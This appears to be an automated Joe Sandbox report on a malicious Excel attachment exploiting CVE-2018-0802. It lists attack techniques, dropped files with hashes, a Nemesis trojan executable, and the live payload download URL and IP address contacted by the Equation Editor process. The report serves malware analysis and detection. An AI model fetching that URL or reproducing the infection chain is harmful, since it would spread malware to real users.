Valid Accounts	1 Scripting	Path Interception	1 Access Token Manipulation	111 Masquerading	OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	1 Native API	Boot or Logon Initialization Scripts	11 Process Injection	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Clipboard Data	Exfiltration Over Bluetooth	33 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	22 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	1 Access Token Manipulation	Security Account Manager	1 Remote System Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	11 Process Injection	NTDS	3 File and Directory Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	121 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Scripting	LSA Secrets	15 System Information Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Obfuscated Files or Information	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
yeni teklif talebi.xlsx	22%	ReversingLabs	Document-OLE.Exploit.CVE-2018-0802

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Komiten6[1].exe	38%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Komiten6[1].exe	24%	ReversingLabs	Win32.Trojan.Nemesis
C:\Users\user\AppData\Local\Temp\nshD0AF.tmp\System.dll	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\nshD0AF.tmp\System.dll	0%	ReversingLabs
C:\Users\Public\vbc.exe	24%	ReversingLabs	Win32.Trojan.Nemesis

Source	Detection	Scanner	Label
http://23.95.34.9/zaki/Komiten6.exej	0%	Avira URL Cloud	safe
http://23.95.34.9/zaki/Komiten6.exe	0%	Avira URL Cloud	safe
http://23.95.34.9/zaki/Komiten6.exemmC:	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://23.95.34.9/zaki/Komiten6.exe	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://23.95.34.9/zaki/Komiten6.exej	EQNEDT32.EXE, 00000002.00000002.955909321.00000000036A0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	vbc.exe, 00000004.00000002.1166019325.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vbc.exe, 00000004.00000000.954551791.000000000040A000.00000008.00000001.01000000.00000004.sdmp, vbc.exe.2.dr, Komiten6[1].exe.2.dr	false		high
http://23.95.34.9/zaki/Komiten6.exemmC:	EQNEDT32.EXE, 00000002.00000002.955420240.000000000067F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
23.95.34.9	unknown	United States		36352	AS-COLOCROSSINGUS	true

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	626603
Start date and time: 14/05/202215:21:20	2022-05-14 15:21:20 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 47s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	yeni teklif talebi.xlsx
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLSX@4/15@0/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 62.8% (good quality ratio 61.6%) Quality average: 88.9% Quality standard deviation: 21%
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .xlsx Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
TCP Packets have been reduced to 100
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
15:22:38	API Interceptor	74x Sleep call for process: EQNEDT32.EXE modified
15:22:44	API Interceptor	1x Sleep call for process: vbc.exe modified

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	downloaded
Size (bytes):	122206
Entropy (8bit):	7.709922432740692
Encrypted:	false
SSDEEP:	3072:7fY/TU9fE9PEtuQb6VLH/hh0Spsnf60c0b2QrSfskuai8:LYa6Y6VLHH5yyLiau8
MD5:	5D160471A3168EAC0D8C34060B4F357B
SHA1:	B33D39C20CE8F3F97AEB4C53A25B4C0D525D020D
SHA-256:	3B2B83A13CC3642737C03105CF90061671172970A97BB02967E11CF30D239C18
SHA-512:	40AF820B35F66B9080D0F2127B1889D3232FF77AE736B8DBB7378DC8E5BF561DC6961868D144170083F772E82583A795131BBDD82DB2C21AF5C5B1CE20034886
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 38%, Browse Antivirus: ReversingLabs, Detection: 24%
Reputation:	low
IE Cache URL:	http://23.95.34.9/zaki/Komiten6.exe
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....Oa.................h...*......@6............@.......................................@..........................................................................................................................................................text...vf.......h.................. ..`.rdata...............l..............@..@.data...x...........................@....ndata... ...............................rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\189C2737.wmf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ms-windows metafont .wmf
Category:	dropped
Size (bytes):	1970
Entropy (8bit):	5.125773446782967
Encrypted:	false
SSDEEP:	48:KxK48S3oEL48I+KL48uL48kL48tnL48I0L48Ih2L48Ls4fnPK6L48tOL48bCb3RM:KxKS3okSuEtN1O2FfUcM
MD5:	30935B0D56A69E2E57355F8033ADF98B
SHA1:	5F7C13E36023A1B3B3DAF030291C02631347C2AB
SHA-256:	077232D301E2DF2E2702BD9E7323806AC20134F989C8A4102403ECBF5E91485E
SHA-512:	5D633D1EC5559443D3DA5FAD2C0CFC5DBF6A006EF6FBEE8C47595A916A899FBDF713897289E99EE62C07B52CCB61578253791AC57712DF040469F21287A742E9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.....F.>...u........R........................u.F.............................-...................".....-...........................".....-....................-...........F...$.!.....!......2...9...?...C...F...G...F...C...?...9...2......!.........................................................................................-...............-.......-....................-...............$...[...6._...x.[.......-...............-.......-....................-...............$...o.D...x.#.w...G.o.D.....-...............-.......-....................-...............$.........!.V.{...y.............-...............-.......-....................-...............$.....M.w...n.@.[.....M.....-...............-.......-....................-...............$.......f...Q...........-...............-.......-....................-...............$...'.U.....K...'.U.....-...............-.......-....................-...............$.c...u...\...D...,.........j...S...=...%.........x...c...N...:...&.v...p...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3E1683BB.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	223752
Entropy (8bit):	3.2805343869701504
Encrypted:	false
SSDEEP:	1536:gAGsM8yOYZWQ99d99H9999999lN6Hz8iiiiiiiiiiiiiiiPnHnbq+QVwtaKfdL4a:gMMVNSztnZft6rMMVNSztnZft6u
MD5:	8E3A74F7AA420B02D34C69E625969C0A
SHA1:	4743F57F0F702C5B47FA1668D9173E08ADA16448
SHA-256:	0CD83C55739629F98FE6AFD3E25A5BCBB346CBEF58BC592C1260E9F0FA8575A9
SHA-512:	ADE6B91E260AFA08CC286471D0AD7BCA82FF5E1FE506D48B37A13E3CDD2717171CDAC38C77CFF18FD4C26CA9470B002B63B7FDDC0466FC6F7010A772BF557054
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	....l................................... EMF.....j..........................8...X....................?......F...........GDIC...............p.........8.........................F...........................A. ...........F.......(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\80E4BC8E.wmf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ms-windows metafont .wmf
Category:	dropped
Size (bytes):	4630
Entropy (8bit):	5.070400845866794
Encrypted:	false
SSDEEP:	96:RmljFSTwLmSaj2W67xYK2dlEtF622okgmCCHtkTl9ggBgThsMihEylB8By98Rj:UlRSkCSajh6tL2dlEtFV2VgmVNkTl9gJ
MD5:	1A4FF280B6D51A6ED16C3720AF1CD6EE
SHA1:	277878BEF42DAC8BB79E15D3229D7EEC37CE22D9
SHA-256:	E5D86DD19EE52EBE2DA67837BA4C64454E26B7593FAC8003976D74FF848956E7
SHA-512:	3D41BAF77B0BEEF85C112FCBD3BE30E940AF1E586C4F9925DBDD67544C5834ED794D0042A6F6FF272B21D1106D798CBB05FA2848A788A3DAFE9CFBC8574FCECA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	...................[R..................................D.^...................-...................".....-...........................".....-.....................-...............$...........o.............................-...............-.......-.....................-...............$.......W.....i...T.........-...............-.......-.....................-...........>...$.....~.........................z...m.....H.v.....?.........................\|...r...f...Z...L...>...0... .............~.....-...............-.......-.....................-...........6...$.....................................-...?...U...n...........!...!.........................................-...............-.......-.....................-...........8...$.......................s...e.g.\.L.Y./.[..._...g...p...~.............'.../...L.v.g.i...V...@...'...............-...............-.......-.....................-........... ...$.......................r...{...................................-...............-.......-...........

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B2359081.wmf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ms-windows metafont .wmf
Category:	dropped
Size (bytes):	1970
Entropy (8bit):	5.125773446782967
Encrypted:	false
SSDEEP:	48:KxK48S3oEL48I+KL48uL48kL48tnL48I0L48Ih2L48Ls4fnPK6L48tOL48bCb3RM:KxKS3okSuEtN1O2FfUcM
MD5:	30935B0D56A69E2E57355F8033ADF98B
SHA1:	5F7C13E36023A1B3B3DAF030291C02631347C2AB
SHA-256:	077232D301E2DF2E2702BD9E7323806AC20134F989C8A4102403ECBF5E91485E
SHA-512:	5D633D1EC5559443D3DA5FAD2C0CFC5DBF6A006EF6FBEE8C47595A916A899FBDF713897289E99EE62C07B52CCB61578253791AC57712DF040469F21287A742E9
Malicious:	false
Preview:	.....F.>...u........R........................u.F.............................-...................".....-...........................".....-....................-...........F...$.!.....!......2...9...?...C...F...G...F...C...?...9...2......!.........................................................................................-...............-.......-....................-...............$...[...6._...x.[.......-...............-.......-....................-...............$...o.D...x.#.w...G.o.D.....-...............-.......-....................-...............$.........!.V.{...y.............-...............-.......-....................-...............$.....M.w...n.@.[.....M.....-...............-.......-....................-...............$.......f...Q...........-...............-.......-....................-...............$...'.U.....K...'.U.....-...............-.......-....................-...............$.c...u...\...D...,.........j...S...=...%.........x...c...N...:...&.v...p...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FCE43280.wmf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ms-windows metafont .wmf
Category:	dropped
Size (bytes):	4630
Entropy (8bit):	5.070400845866794
Encrypted:	false
SSDEEP:	96:RmljFSTwLmSaj2W67xYK2dlEtF622okgmCCHtkTl9ggBgThsMihEylB8By98Rj:UlRSkCSajh6tL2dlEtFV2VgmVNkTl9gJ
MD5:	1A4FF280B6D51A6ED16C3720AF1CD6EE
SHA1:	277878BEF42DAC8BB79E15D3229D7EEC37CE22D9
SHA-256:	E5D86DD19EE52EBE2DA67837BA4C64454E26B7593FAC8003976D74FF848956E7
SHA-512:	3D41BAF77B0BEEF85C112FCBD3BE30E940AF1E586C4F9925DBDD67544C5834ED794D0042A6F6FF272B21D1106D798CBB05FA2848A788A3DAFE9CFBC8574FCECA
Malicious:	false
Preview:	...................[R..................................D.^...................-...................".....-...........................".....-.....................-...............$...........o.............................-...............-.......-.....................-...............$.......W.....i...T.........-...............-.......-.....................-...........>...$.....~.........................z...m.....H.v.....?.........................\|...r...f...Z...L...>...0... .............~.....-...............-.......-.....................-...........6...$.....................................-...?...U...n...........!...!.........................................-...............-.......-.....................-...........8...$.......................s...e.g.\.L.Y./.[..._...g...p...~.............'.../...L.v.g.i...V...@...'...............-...............-.......-.....................-........... ...$.......................r...{...................................-...............-.......-...........

C:\Users\user\AppData\Local\Temp\KONDEMNATIONERS.Heg

Download File

Process:	C:\Users\Public\vbc.exe
File Type:	data
Category:	dropped
Size (bytes):	95783
Entropy (8bit):	7.121872132405946
Encrypted:	false
SSDEEP:	1536:+8HtWLvDZBpUZ6Mr6D9/cMDL7f/Doi8yrn+GqGiYhUF5MsdWyO:7Hk1UZ6Mr6DdcKEfyAGcMsd5O
MD5:	44E3D740FEB747BEBF0BEE4F7B5DD6A4
SHA1:	B26435DFC0A697122BE409CC50009C46952F45A2
SHA-256:	AA368E099899170E23097E632589756230F2A359B818CE169AEDF39F60F22946
SHA-512:	6E82789F31D13106D29797567561747D86BF1FA706B2D0C02CA477F18ACE233FC7AB31B02FC9E65508FE5950237A38D828E023082BA9EF6D63274FE746871290
Malicious:	false
Preview:	...<N.............L.....<...)<.....Z..n.Y.....M<W....."..B..s.......<T...<=........._..?<........I..#........1<....<.....z..u1........k....Y............<....<g........................(..".....c<...I.4."..r...<...-<...Z........`..2..L..!........-.."...<...2<.............l..^.....v...x..u......}..w..k<....<..................h..............<...M<...M............. ............r"..9..C..................................................................................?..H...B...@..&..o..EJ.F.-.0.i...1.9...T(.a.\..g..L.O..>UP..UK.wOjc_....hZI......W....Z^.=..Ph~7p.Ay.../....\..D..\|.....G.l...@.+.6L..'.YV..af.zF.5x....w{7K;-H.Y...1.XC........>...8..}.Mb.....[ ;....R...g.. )......f..Z...........................................N..............................................................."...................................................................................2................................................................D@.................

C:\Users\user\AppData\Local\Temp\Overliggedagene225.ini

Download File

Process:	C:\Users\Public\vbc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	52
Entropy (8bit):	4.416383950195573
Encrypted:	false
SSDEEP:	3:AAToJ2wKyuzYAWY50p:AlJ2wKHhfep
MD5:	DD534946646E90AE1A0F38B04F9E8611
SHA1:	95FBD883E6AF911D062E6FDF9EBAA8C433AC1B16
SHA-256:	70A337B2556FA5405CB165F7E68FE601D5600F88572A85FBCBB7272F2364A082
SHA-512:	5A8B696949018FC79F71F1AEEA3C2F3131A0C6207A59F97AA3B29E8CC26383CDFF76EDDDF8085404DF8229BE29D20FB4831E0158EFD4638C52BE7BE014F829ED
Malicious:	false
Preview:	[computersamplede]..Forureningsfarernes=Reinvald81..

C:\Users\user\AppData\Local\Temp\nshD0AF.tmp\System.dll

Download File

Process:	C:\Users\Public\vbc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	12288
Entropy (8bit):	5.814115788739565
Encrypted:	false
SSDEEP:	192:Zjvco0qWTlt70m5Aj/lQ0sEWD/wtYbBHFNaDybC7y+XBz0QPi:FHQlt70mij/lQRv/9VMjzr
MD5:	CFF85C549D536F651D4FB8387F1976F2
SHA1:	D41CE3A5FF609DF9CF5C7E207D3B59BF8A48530E
SHA-256:	8DC562CDA7217A3A52DB898243DE3E2ED68B80E62DDCB8619545ED0B4E7F65A8
SHA-512:	531D6328DAF3B86D85556016D299798FA06FEFC81604185108A342D000E203094C8C12226A12BD6E1F89B0DB501FB66F827B610D460B933BD4AB936AC2FD8A88
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L.....Oa...........!....."..................@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.......*..............@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF3EBA8DC817904F49.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF8EEDDA710CFA1BC5.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFD156472CF2DDFD4C.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	CDFV2 Encrypted
Category:	dropped
Size (bytes):	96256
Entropy (8bit):	7.917788982548629
Encrypted:	false
SSDEEP:	1536:HmtaB2E29Zo12SxOn/N2mnG+Ol84U5YhIciGc0vh5ne+WRWrcUVFaBkdz8jjVHqt:HwE28Dr6Grrh4055nevbUmBkopiUlC
MD5:	B32D7BAC7FB9B903EA73A041F13D3B61
SHA1:	359458F03B700820C3B4F5FC1838EF7EA0D3CD14
SHA-256:	35BFBA75E0BC2A473EE9964F138ACD21381DDF6FD196B35127A304FA61B87826
SHA-512:	B5AA85839138D9E5449859CE6DAFC2D11B9168347BA9FA384392A3BEB241ACBFED711E52DB1BFFDF9933BD04E40C63BFB7A263314F81D875337E3C02F58025FB
Malicious:	false
Preview:	......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\AppData\Local\Temp\~DFFFED7F195E4B8B5F.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\~$yeni teklif talebi.xlsx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	true
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\Public\vbc.exe

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	122206
Entropy (8bit):	7.709922432740692
Encrypted:	false
SSDEEP:	3072:7fY/TU9fE9PEtuQb6VLH/hh0Spsnf60c0b2QrSfskuai8:LYa6Y6VLHH5yyLiau8
MD5:	5D160471A3168EAC0D8C34060B4F357B
SHA1:	B33D39C20CE8F3F97AEB4C53A25B4C0D525D020D
SHA-256:	3B2B83A13CC3642737C03105CF90061671172970A97BB02967E11CF30D239C18
SHA-512:	40AF820B35F66B9080D0F2127B1889D3232FF77AE736B8DBB7378DC8E5BF561DC6961868D144170083F772E82583A795131BBDD82DB2C21AF5C5B1CE20034886
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 24%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....Oa.................h...*......@6............@.......................................@..........................................................................................................................................................text...vf.......h.................. ..`.rdata...............l..............@..@.data...x...........................@....ndata... ...............................rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	CDFV2 Encrypted
Entropy (8bit):	7.917788982548629
TrID:	Generic OLE2 / Multistream Compound File (8008/1) 100.00%
File name:	yeni teklif talebi.xlsx
File size:	96256
MD5:	b32d7bac7fb9b903ea73a041f13d3b61
SHA1:	359458f03b700820c3b4f5fc1838ef7ea0d3cd14
SHA256:	35bfba75e0bc2a473ee9964f138acd21381ddf6fd196b35127a304fa61b87826
SHA512:	b5aa85839138d9e5449859ce6dafc2d11b9168347ba9fa384392a3beb241acbfed711e52db1bffdf9933bd04e40c63bfb7a263314f81d875337e3c02f58025fb
SSDEEP:	1536:HmtaB2E29Zo12SxOn/N2mnG+Ol84U5YhIciGc0vh5ne+WRWrcUVFaBkdz8jjVHqt:HwE28Dr6Grrh4055nevbUmBkopiUlC
TLSH:	B493F174775AA718FEA3B2725DFA3EB7058B1F013878CE01DD953B0A13B67980931921
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4e2aa8aa4b4bcb4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.2223.95.34.949171802022550 05/14/22-15:22:35.305181	TCP	2022550	ET TROJAN Possible Malicious Macro DL EXE Feb 2016	49171	80	192.168.2.22	23.95.34.9

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 14, 2022 15:22:35.127046108 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.303962946 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.304061890 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.305181026 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.484261990 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.484304905 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.484325886 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.484344006 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.484348059 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.484370947 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.484375000 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.484380007 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.484395027 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.484415054 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.484415054 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.484436989 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.484436989 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.484458923 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.484460115 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.484494925 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.484500885 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.484508038 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.484549999 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.540580034 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.661204100 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.661242008 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.661266088 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.661279917 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.661290884 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.661312103 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.661319017 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.661335945 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.661358118 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.661360025 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.661377907 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.661386013 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.661408901 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.661411047 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.661422968 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.661432981 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.661442041 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.661456108 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.661477089 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.661478996 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.661492109 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.661504030 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.661510944 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.661528111 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.661537886 CEST	49171	80	192.168.2.22	23.95.34.9
